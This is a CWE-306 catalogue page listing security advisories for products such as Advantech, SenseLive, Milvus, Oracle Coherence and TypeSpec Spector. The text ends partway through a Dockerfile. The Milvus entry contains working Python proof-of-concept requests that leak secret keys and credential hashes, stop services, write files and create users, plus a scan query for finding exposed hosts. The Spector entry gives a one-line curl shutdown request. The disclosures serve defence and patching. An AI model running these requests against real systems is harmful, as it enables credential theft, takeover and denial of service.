Common Weakness Enumeration
CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
4625 vulnerabilities reference this CWE, most recent first.
GHSA-7PCW-CJV4-C788
Vulnerability from github – Published: 2024-09-27 18:32 – Updated: 2024-09-27 18:32
VLAI
Details
Advantech ADAM-5630 has built-in commands that can be executed without authenticating the user. These commands allow for restarting the operating system, rebooting the hardware, and stopping the execution. The commands can be sent to a simple HTTP request and are executed by the device automatically, without discrimination of origin or level of privileges of the user sending the commands.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-39364"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-27T18:15:05Z",
"severity": "HIGH"
},
"details": "Advantech ADAM-5630 \nhas built-in commands that can be executed without authenticating the \nuser. These commands allow for restarting the operating system, \nrebooting the hardware, and stopping the execution. The commands can be \nsent to a simple HTTP request and are executed by the device \nautomatically, without discrimination of origin or level of privileges \nof the user sending the commands.",
"id": "GHSA-7pcw-cjv4-c788",
"modified": "2024-09-27T18:32:26Z",
"published": "2024-09-27T18:32:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39364"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-270-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7PFM-4RH7-6VP4
Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31
VLAI
Details
A vulnerability exists in SenseLive X3050's web management interface that allows critical configuration parameters to be modified without sufficient authentication or server-side validation. By applying unsupported or disruptive values to recovery mechanisms and network settings, an attacker can induce a persistent lockout state. Because the device lacks a physical reset button, recovery requires specialized technical access via the console to perform a factory reset, resulting in a total denial-of-service for the gateway and its connected RS-485 downstream systems.
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-27843"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-24T00:16:27Z",
"severity": "CRITICAL"
},
"details": "A vulnerability exists in\u00a0SenseLive X3050\u0027s web management interface that allows critical configuration parameters to be modified without sufficient authentication or server-side validation. By applying unsupported or disruptive values to recovery mechanisms and network settings, an attacker can induce a persistent lockout state. Because the device lacks a physical reset button, recovery requires specialized technical access via the console to perform a factory reset, resulting in a total denial-of-service for the gateway and its connected RS-485 downstream systems.",
"id": "GHSA-7pfm-4rh7-6vp4",
"modified": "2026-04-24T00:31:52Z",
"published": "2026-04-24T00:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27843"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-111-12.json"
},
{
"type": "WEB",
"url": "https://senselive.io/contact"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-111-12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7PM8-R7X9-Q9J5
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 15:30
VLAI
Details
Serviio PRO 1.8 contains an information disclosure vulnerability due to improper access control enforcement in the Configuration REST API that allows unauthenticated attackers to access sensitive information. Remote attackers can send specially crafted requests to the REST API endpoints to retrieve potentially sensitive configuration data without authentication.
Severity
{
"affected": [],
"aliases": [
"CVE-2017-20217"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:17:51Z",
"severity": "HIGH"
},
"details": "Serviio PRO 1.8 contains an information disclosure vulnerability due to improper access control enforcement in the Configuration REST API that allows unauthenticated attackers to access sensitive information. Remote attackers can send specially crafted requests to the REST API endpoints to retrieve potentially sensitive configuration data without authentication.",
"id": "GHSA-7pm8-r7x9-q9j5",
"modified": "2026-03-16T15:30:41Z",
"published": "2026-03-16T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20217"
},
{
"type": "WEB",
"url": "https://blogs.securiteam.com/index.php/archives/3094"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2017050022"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/125646"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/142383"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/41958"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/serviio-pro-rest-api-information-disclosure"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5404.php"
},
{
"type": "WEB",
"url": "http://www.securitylab.ru/poc/486048.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7PPG-37FH-VCR6
Vulnerability from github – Published: 2026-02-11 19:49 – Updated: 2026-07-06 15:17
VLAI
Summary
Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise
Details
Summary
Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:
- The
/exprdebug endpoint uses a weak, predictable default authentication token derived frometcd.rootPath(default:by-dev), enabling arbitrary expression evaluation. - The full REST API (
/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.
Details
Vulnerability 1: Weak Default Authentication on /expr Endpoint
The /expr endpoint on port 9091 accepts an auth parameter that defaults to the etcd.rootPath value (by-dev). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:
- Information/Credential Disclosure: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via
param.MinioCfg.SecretAccessKey.GetValue(),rootcoord.meta.GetCredential(ctx, 'root'), etc. - Denial of Service: Invoking
proxy.Stop()to shut down the proxy service. - Arbitrary File Write (potential RCE): Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.
Vulnerability 2: Unauthenticated REST API on Metrics Port
Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via registerHTTPServer() in internal/distributed/proxy/service.go (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.
An attacker can perform any business operation without credentials, including:
- Creating, listing, and deleting collections
- Inserting and querying data
- Creating, listing, and deleting user credentials
- Modifying user passwords
Proof of Concept
PoC 1 — /expr Endpoint Exploitation
import requests
url = "http://<target>:9091/expr"
# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
"auth": "by-dev",
"code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))
# Retrieve hashed credentials for the root user
res = requests.get(url, params={
"auth": "by-dev",
"code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))
# Denial of Service — stop the proxy
res = requests.get(url, params={
"auth": "by-dev",
"code": "proxy.Stop()"
}, timeout=5)
# Arbitrary file write (potential RCE)
for cmd in [
'param.Save("proxy.accessLog.localPath", "/tmp")',
'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
'param.Save("proxy.accessLog.filename", "evil.sh")',
'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)
PoC 2 — Unauthenticated REST API Access
import requests
target_url = "http://<target>:9091"
# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
"username": "attacker_user",
"password": "MTIzNDU2Nzg5",
})
print(res.json())
# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']}
# Create and delete collections, insert data — all without authentication
Internet Exposure
A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:
http.body="404 page not found" && port="9091"
This indicates the vulnerability is actively exploitable in real-world production environments.
Impact
An unauthenticated remote attacker with network access to port 9091 can:
- Exfiltrate secrets and credentials — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.
- Manipulate all data — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.
- Manage user accounts — Create administrative users, reset passwords, and escalate privileges.
- Cause denial of service — Shut down proxy services, drop databases, or corrupt metadata.
- Write arbitrary files — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.
Remediation
Recommended Fixes
- Remove or disable the
/exprendpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default. - Do not register business API routes on the metrics port. Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.
- Bind port 9091 to localhost by default (
127.0.0.1:9091) so it is not externally accessible unless explicitly configured. - Enforce authentication on all API endpoints, regardless of which port they are served on.
User Mitigations (until patched)
- Block external access to port 9091 using firewall rules or network policies.
- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.
- Change the
etcd.rootPathfrom the default valueby-devto a strong, random value (partial mitigation only — does not address the unauthenticated REST API).
Credit
This vulnerability was discovered and responsibly reported by YingLin Xie (xieyinglin@hust.edu.cn). It was independently reported by 0x1f and zznQ (ac0d3r).
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/milvus-io/milvus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.27"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/milvus-io/milvus"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "2.6.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26190"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-306",
"CWE-749"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-11T19:49:44Z",
"nvd_published_at": "2026-02-13T19:17:29Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nMilvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.\n\n## Details\n\n### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint\n\nThe `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:\n\n- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, \u0027root\u0027)`, etc.\n- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.\n- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.\n\n### Vulnerability 2: Unauthenticated REST API on Metrics Port\n\nBusiness-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.\n\nAn attacker can perform any business operation without credentials, including:\n\n- Creating, listing, and deleting collections\n- Inserting and querying data\n- Creating, listing, and deleting user credentials\n- Modifying user passwords\n\n## Proof of Concept\n\n### PoC 1 \u2014 `/expr` Endpoint Exploitation\n\n```python\nimport requests\n\nurl = \"http://\u003ctarget\u003e:9091/expr\"\n\n# Leak sensitive configuration (e.g., MinIO secret key)\nres = requests.get(url, params={\n \"auth\": \"by-dev\",\n \"code\": \"param.MinioCfg.SecretAccessKey.GetValue()\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Retrieve hashed credentials for the root user\nres = requests.get(url, params={\n \"auth\": \"by-dev\",\n \"code\": \"rootcoord.meta.GetCredential(ctx, \u0027root\u0027)\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Denial of Service \u2014 stop the proxy\nres = requests.get(url, params={\n \"auth\": \"by-dev\",\n \"code\": \"proxy.Stop()\"\n}, timeout=5)\n\n# Arbitrary file write (potential RCE)\nfor cmd in [\n \u0027param.Save(\"proxy.accessLog.localPath\", \"/tmp\")\u0027,\n \u0027param.Save(\"proxy.accessLog.formatters.base.format\", \"whoami\")\u0027,\n \u0027param.Save(\"proxy.accessLog.filename\", \"evil.sh\")\u0027,\n \u0027querycoord.etcdCli.KV.Put(ctx, \"by-dev/config/proxy/accessLog/enable\", \"true\")\u0027\n]:\n requests.get(url, params={\"auth\": \"by-dev\", \"code\": cmd}, timeout=5)\n```\n\n### PoC 2 \u2014 Unauthenticated REST API Access\n\n```python\nimport requests\n\ntarget_url = \"http://\u003ctarget\u003e:9091\"\n\n# Create a user without any authentication\nres = requests.post(f\"{target_url}/api/v1/credential\", json={\n \"username\": \"attacker_user\",\n \"password\": \"MTIzNDU2Nzg5\",\n})\nprint(res.json())\n\n# List all users\nres = requests.get(f\"{target_url}/api/v1/credential/users\")\nprint(res.json()) # {\u0027status\u0027: {}, \u0027usernames\u0027: [\u0027root\u0027, \u0027attacker_user\u0027]}\n\n# Create and delete collections, insert data \u2014 all without authentication\n```\n\n## Internet Exposure\n\nA significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:\n\n```\nhttp.body=\"404 page not found\" \u0026\u0026 port=\"9091\"\n```\n\nThis indicates the vulnerability is actively exploitable in real-world production environments.\n\n## Impact\n\nAn unauthenticated remote attacker with network access to port 9091 can:\n\n1. **Exfiltrate secrets and credentials** \u2014 MinIO keys, etcd credentials, user password hashes, and all internal configuration values.\n2. **Manipulate all data** \u2014 Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.\n3. **Manage user accounts** \u2014 Create administrative users, reset passwords, and escalate privileges.\n4. **Cause denial of service** \u2014 Shut down proxy services, drop databases, or corrupt metadata.\n5. **Write arbitrary files** \u2014 Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.\n\n## Remediation\n\n### Recommended Fixes\n\n1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.\n2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.\n3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.\n4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.\n\n### User Mitigations (until patched)\n\n- Block external access to port 9091 using firewall rules or network policies.\n- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.\n- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only \u2014 does not address the unauthenticated REST API).\n\n## Credit\n\nThis vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).",
"id": "GHSA-7ppg-37fh-vcr6",
"modified": "2026-07-06T15:17:07Z",
"published": "2026-02-11T19:49:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6"
},
{
"type": "WEB",
"url": "https://github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/milvus-io/milvus"
},
{
"type": "WEB",
"url": "https://github.com/milvus-io/milvus/releases/tag/v2.5.27"
},
{
"type": "WEB",
"url": "https://github.com/milvus-io/milvus/releases/tag/v2.6.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise"
}
GHSA-7Q24-FXCQ-RMWC
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 15:30
VLAI
Details
Socomec DIRIS A-40 HTTP API Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Socomec DIRIS A-40 power monitoring devices. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the web API implementation, which listens on TCP port 80 by default. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-23993.
Severity
6.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-2491"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:19:30Z",
"severity": "MODERATE"
},
"details": "Socomec DIRIS A-40 HTTP API Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Socomec DIRIS A-40 power monitoring devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the web API implementation, which listens on TCP port 80 by default. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-23993.",
"id": "GHSA-7q24-fxcq-rmwc",
"modified": "2026-03-16T15:30:43Z",
"published": "2026-03-16T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2491"
},
{
"type": "WEB",
"url": "https://emea.socomec.com/en/resource-center/resource-type/cyber-vulnerabilities-601"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-129"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7Q6M-9V39-Q68Q
Vulnerability from github – Published: 2025-03-18 15:30 – Updated: 2025-03-25 00:30
VLAI
Details
On IROAD v9 devices, one can Remotely Dump Video Footage and the Live Video Stream. The dashcam exposes endpoints that allow unauthorized users, who gained access through other means, to list and download recorded videos, as well as access live video streams without proper authentication.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-30111"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-18T15:16:02Z",
"severity": "HIGH"
},
"details": "On IROAD v9 devices, one can Remotely Dump Video Footage and the Live Video Stream. The dashcam exposes endpoints that allow unauthorized users, who gained access through other means, to list and download recorded videos, as well as access live video streams without proper authentication.",
"id": "GHSA-7q6m-9v39-q68q",
"modified": "2025-03-25T00:30:26Z",
"published": "2025-03-18T15:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30111"
},
{
"type": "WEB",
"url": "https://github.com/geo-chen/IROAD-V"
},
{
"type": "WEB",
"url": "https://iroad-dashcam.nl/iroad/iroad-x5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7Q6P-MGV4-5RWC
Vulnerability from github – Published: 2025-11-11 06:30 – Updated: 2025-11-11 06:30
VLAI
Details
The Crypto plugin for WordPress is vulnerable to Information exposure in all versions up to, and including, 2.22. This is due to the plugin registering an unauthenticated AJAX action (wp_ajax_nopriv_crypto_connect_ajax_process) that allows calling the register and savenft methods with only a publicly-available nonce check and no wallet signature verification. This makes it possible for unauthenticated attackers to set a site-wide global authentication state via a single transient, bypassing all access controls for ALL visitors to the site. The impact is complete bypass of [crypto-block] shortcode restrictions and page-level access controls, affecting all site visitors for one hour, plus the ability to inject arbitrary data into the plugin's custom_users table.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-11986"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T04:15:44Z",
"severity": "MODERATE"
},
"details": "The Crypto plugin for WordPress is vulnerable to Information exposure in all versions up to, and including, 2.22. This is due to the plugin registering an unauthenticated AJAX action (wp_ajax_nopriv_crypto_connect_ajax_process) that allows calling the register and savenft methods with only a publicly-available nonce check and no wallet signature verification. This makes it possible for unauthenticated attackers to set a site-wide global authentication state via a single transient, bypassing all access controls for ALL visitors to the site. The impact is complete bypass of [crypto-block] shortcode restrictions and page-level access controls, affecting all site visitors for one hour, plus the ability to inject arbitrary data into the plugin\u0027s custom_users table.",
"id": "GHSA-7q6p-mgv4-5rwc",
"modified": "2025-11-11T06:30:21Z",
"published": "2025-11-11T06:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11986"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.22/includes/class-crypto-user.php#L95"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.22/includes/class-crypto_connect_ajax_register.php#L65"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.22/includes/class-crypto_connect_ajax_register.php#L9"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.22/includes/class-crypto_connect_ajax_register.php#L95"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f062ef94-e558-478e-bbfd-06616aeb566b?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7Q7W-RMCF-8945
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details
Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-60257"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:27Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in takeover of Oracle Coherence. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-7q7w-rmcf-8945",
"modified": "2026-07-22T00:31:28Z",
"published": "2026-07-22T00:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60257"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7Q9C-HPX7-9CWM
Vulnerability from github – Published: 2026-09-04 21:43 – Updated: 2026-09-04 21:43
VLAI
Summary
TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop
Details
Summary
@typespec/spector registers a POST /.admin/stop HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to 0.0.0.0 by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is High (CVSS 7.5).
Details
The vulnerability originates in packages/spector/src/routes/admin.ts at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
logger.info("Received signal to stop server. Exiting...");
res.status(202).end();
setTimeout(() => {
process.exit(0);
});
});
The constant AdminUrls.stop resolves to /.admin/stop (packages/spector/src/constants.ts:1-3).
The complete attack-reachable call chain is:
packages/spector/src/cli/cli.ts:139-166—tsp-spector serve <scenariosPaths..>starts the server on default port3000. Nohostoption is offered, so binding address is determined by the Express/Node.js default.packages/spector/src/actions/serve.ts:28-33— constructsMockApiAppand callsstart()without supplying a host argument.packages/spector/src/app/app.ts:39-40— registersinternalRouterat/, which includes the admin routes.packages/spector/src/routes/index.ts:4-5— mountsadminRoutesunder/.packages/spector/src/routes/admin.ts:7-12— thePOST /.admin/stophandler (the sink) is reached with zero authentication.packages/spector/src/server/server.ts:88—this.app.listen(this.config.port)is called without a host argument, causing Node.js/Express to bind on0.0.0.0(all network interfaces).
There is no authentication middleware, API token validation, Authorization header check, Origin header restriction, or IP allowlist anywhere between the inbound HTTP request and the process.exit(0) call. The admin route is mounted before scenario routes so it cannot be shadowed.
PoC
Prerequisites:
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
Step 1 — Start the mock server:
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
Alternatively, use the provided Docker environment:
# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
Step 2 — Execute the exploit (single unauthenticated request):
curl -i -X POST http://<server-host>:3000/.admin/stop
Using the provided PoC script:
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
Step 3 — Observe the result:
HTTP/1.1 202 Accepted
The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:
info Received signal to stop server. Exiting...
Docker inspect confirms ExitCode=0, Status=exited. No credentials, tokens, or special headers are required at any step.
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where tsp-spector serve is listening can terminate the server process with a single POST request, resulting in a complete denial of service.
The primary victims are development or CI/CD pipeline operators who run tsp-spector serve in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to 0.0.0.0 by default and the CLI offers no --host option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.
Although @typespec/spector is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.
Reproduction artifacts
Dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
FROM node:22-slim
# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4
WORKDIR /poc
# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json
# Install only the npm packages actually used by the vulnerable code path:
# express — web framework (admin.ts, routes/index.ts, server.ts)
# picocolors — terminal colors (logger.ts)
RUN npm install express picocolors
# -----------------------------------------------------------------------
